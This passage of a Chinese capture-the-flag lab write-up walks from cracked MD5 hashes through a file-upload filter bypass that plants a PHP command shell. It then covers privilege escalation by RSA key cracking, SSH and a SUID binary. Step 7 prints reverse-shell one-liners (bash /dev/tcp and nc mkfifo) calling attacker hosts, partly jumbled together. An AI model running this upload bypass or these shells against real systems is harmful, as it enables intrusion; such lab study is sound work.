4.md5解密
super_cms_adm:0b0689ba94f94533400f4decd87fa260,decoder:5f4dcc3b5aa765d61d8327deb8
5.文件上传
成功登录之后,发现存在一个上传地址。
对php格式的文件进行测试,发现不能成功上传。
测试.php.jpg格式的文件进行上传,可以上传不能解析。
服务器通常通过三种方式过滤文件类型:
- 文件扩展名
- 内容类型
- 魔术字节/MIME 类型
我已经用 提交了这个Content-Type: image/jpeg,所以它必须不止于此。该消息表明它正在限制扩展。如果我只是上传cmd.jpg而不更改名称,它仍然会报错。
6.文件上传bypass
发现返回包,存在一个字段类似于base64加密的。
使用echo进行base64解密。
然后修改name格式,进行上传。
不能成功上传。
然后先设置burp,接收响应包的内容。
1.修改前端代码绕过文件上传
将name修改为testfile1
然后输入cmd.php,重新上传.php.jpg格式的文件。成功上传。
2.命令执行
在上传之后可以利用cmd去执行一些命令。
三、权限提升
7.使用bash反弹shell
bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc进行监听
成功反弹shell。
翻文件,发现在home/decoder目录下存在2个密钥。
8.使用nc下载文件
9.密钥解密
使用RsaCtfTool进行暴力破解
安装步骤:
(sudo apt install libmpc-dev libgmp3-dev sagemath和pip3 install -r requirements.txt)
成功解密。
10.ssh远程登录
获取第一个flag(user.txt)。
11、使用find命令,查找可利用的suid文件
find / -perm-4000-ls 2>/dev/null
发现supershell可以利用。
利用supershell成功读到了root.txt,成功获得了第二个flag。
总结:
这个靶机难度是中等难度,但是给我带来了很多的知识点,也学到了很多。靶机的操作流程就是信息收集,从端口扫描到目录枚举,漏洞利用主要是sql注入,文件上传及手工union查询bypasswaf和文件上传的绕过。绕过之后进行反弹shell,反弹shell之后,翻文件,翻到了2个密钥,使用工具进行暴力破解,接着ssh远程登录,使用find命令查找可用的用法,然后使用其用法读到了root.txt文件的内容。靶机难度还是有的,也有很多新知识,建议有时间的小伙伴可以试试。